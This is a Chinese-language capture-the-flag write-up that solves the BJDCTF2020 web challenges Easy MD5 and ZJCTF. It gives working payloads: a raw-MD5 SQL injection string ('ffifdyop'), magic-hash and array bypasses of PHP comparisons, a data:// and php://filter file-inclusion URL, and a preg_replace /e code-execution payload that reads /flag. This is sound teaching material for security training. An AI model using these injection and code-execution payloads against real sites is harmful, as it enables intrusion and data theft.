[原题复现]BJDCTF2020 WEB部分全部解
简介
原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题
1.Easy MD5
1.涉及知识点:md5函数特性绕过、SQL注入
md5()
md5() 函数计算字符串的 MD5 散列。
md5() 函数使用 RSA 数据安全,包括 MD5 报文摘要算法。
md5(string,raw)
string | 必需。规定要计算的字符串。 |
raw |
可选。规定十六进制或二进制输出格式:
|
2.通过md5($pass,true)实现SQL注入
bp抓包 发包发现这一句
Hint: select * from 'admin' where password=md5($pass,true)
可以看到这里的raw参数是True,意为返回原始16字符二进制格式。
也就是说如果md5值经过hex转成字符串后为 'or'+balabala这样的字符串,则拼接后构成的SQL语句为:
select * from `admin` where password=''or'balabala'
当'or'后面的值为True时,即可构成万能密码实现SQL注入,这里我们需要知道的是MySQL的一个特性:
所以只要'or'后面的字符串为一个非零的数字开头都会返回True,这就是我们的突破点。
可以通过这个脚本来获得满足我们要求的明文:
<?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?> //引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
这里提供一个最常用的:ffifdyop,该字符串md5加密后若raw参数为True时会返回 'or'6<trash> (<trash>其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的<trash>会在MySQL将其转换成整型比较时丢掉)
所以如果这里我们输入ffifdyop,后端的SQL语句会变成:
select * from `admin` where password=''or'6<trash>' ---> True
引用大佬博客:https://www.cnblogs.com/yesec/p/12535534.html
所以输入ffidyop会到下一个页面。
3.通过Hash缺陷绕过md5()验证
hash缺陷参考https://www.cnblogs.com/xhds/p/12349189.html
通过查看源代码发现源码
payload:
http://96c67b57-df3d-41a2-bc76-836c71cda19b.node3.buuoj.cn/levels91.php?a=s878926199a&b=QNKCDZO
4.通过数组绕过
到下一个页面直接暴露出源码进行绕过
payload:
POST:param1[]=1¶m2[]=2
CTF数组绕过姿势
> md5(array()) = null
> sha1(array()) = null
> ereg(pattern,array()) = null vs preg_match(pattern,array) = false
> strcmp(array(), "abc") = null
> strpos(array(),"abc") = null 引用:https://blog.csdn.net/q1352483315/java/article/details/89469928
2.ZJCTF,不过如此
1.涉及知识点:文件包含、preg_replace()使用的/e模式可以存在远程执行代码
reg_replace()使用的/e模式可以存在远程执行代码
2.本地文件包含漏洞利用
打开页面出现源码 审计构造.....
第一个部分可以利用本地文件包含绕过
首先I have a dream base64编码
SSBoYXZlIGEgZHJlYW0= 使用PHP伪协议来绕过 file_get_contents==="I have a dream" 页面有个注释内容为next.PHP
最后构造payload:
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
获得next.php文件的源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id; function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
} foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
} function getFlag(){
@eval($_GET['cmd']);
}
3.利用.reg_replace()使用的/e模式远程执行代码getflag
payload:
/next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);
简介
1
简介
1
简介
1
[原题复现]BJDCTF2020 WEB部分全部解的更多相关文章
- [原题复现]2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)
简介 原题复现:https://github.com/woadsl1234/HCTF2018_admin 考察知识点:session伪造.unicode漏洞.条件竞争 线上平台:https:// ...
- [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)
简介 原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn 考察知识点:上传绕过..user.ini 线上平台:h ...
- [原题复现][2020i春秋抗疫赛] WEB blanklist(SQL堆叠注入、handler绕过)
简介 今天参加i春秋新春抗疫赛 一道web没整出来 啊啊啊 好垃圾啊啊啊啊啊啊啊 晚上看群里赵师傅的buuoj平台太屌了分分钟上线 然后赵师傅还分享了思路用handler语句绕过select过滤.. ...
- [原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)
简介 原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array() ...
- [原题复现]2018护网杯(WEB)easy_tornado(模板注入)
简介 原题复现: 考察知识点:模板注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...
- [原题复现+审计][BJDCTF2020]Mark loves cat($$导致的变量覆盖问题)
简介 原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January 考察知识点:$$导致的变量覆盖问题 线上平台:https://buuoj.cn( ...
- [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)
简介 原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40) 考察知识点:escapeshellarg和escap ...
- [原题复现]百度杯CTF比赛 十月场 WEB EXEC(PHP弱类型)
简介 原题复现: 考察知识点:PHP弱类型. 线上平台:https://www.ichunqiu.com/battalion(i春秋 CTF平台) 过程 看源码发现这个 vim泄露 下方都试了 ...
- [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)
简介 原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/ 考察知识点:反序列化.PHP伪协议.数组绕过 ...
随机推荐
- 出Bug表-假如诸葛亮是程序员(1024程序员节日献礼)
1 前言 欢迎访问南瓜慢说 www.pkslow.com获取更多精彩文章! 出Bug表 南瓜言:先司创业未半而中道破产,今培训造才,网课套钱,此诚百家争鸣之时也.然优秀骨干组队离职,新招小白乐于摸鱼者 ...
- Java jvm 类加载 反射
Java 底层 jvm,类加载,反射 Java语言是跨平台语言,一段java代码,经过编译成class文件后,能够在不同系统的服务器上运行:因为java语言中有虚拟机jvm,才有了跨平台,java为了 ...
- Python作业1
name = " aleX" # 1 移除 name 变量对应的值两边的空格,并输出处理结果 print(name.strip()) # 2 判断 name 变量对应的值是否以 & ...
- B站:我是程序汪:电话面试(待更新)
电话面试: 商城: 1.spring bean的生命周期你可以简单描述一下吗? 能记得几个接口名吗? 2.springMVC的处理流程 3.项目出现生产问题,排查日志有什么方法吗,思路,大概说一下 4 ...
- element ui实现form验证起始时间不能大于结束时间
<el-form-item label="开始时间" :label-width="formLabelWidth" prop="startTime ...
- PASS模型-第一周个人总结
目录 PASS模型-第一周个人报告 1.个人任务 2.个人工作内容 2.1 登陆界面 2.2 信息采集 2.3 视觉搜索 3.个人小结 3.1 收获 3.2 优化 PASS模型-第一周个人报告 博客班 ...
- Masking Personal Information
Masking Personal Information We are given a personal information string S, which may represent eithe ...
- C++语言学习之STL 的组成
STL有三大核心部分:容器(Container).算法(Algorithms).迭代器(Iterator),容器适配器(container adaptor),函数对象(functor),除此之外还有S ...
- java 执行shell命令及日志收集避坑指南
有时候我们需要调用系统命令执行一些东西,可能是为了方便,也可能是没有办法必须要调用.涉及执行系统命令的东西,则就不能做跨平台了,这和java语言的初衷是相背的. 废话不多说,java如何执行shell ...
- c++11-17 模板核心知识(二)—— 类模板
类模板声明.实现与使用 Class Instantiation 使用类模板的部分成员函数 Concept 友元 方式一 方式二 类模板的全特化 类模板的偏特化 多模板参数的偏特化 默认模板参数 Typ ...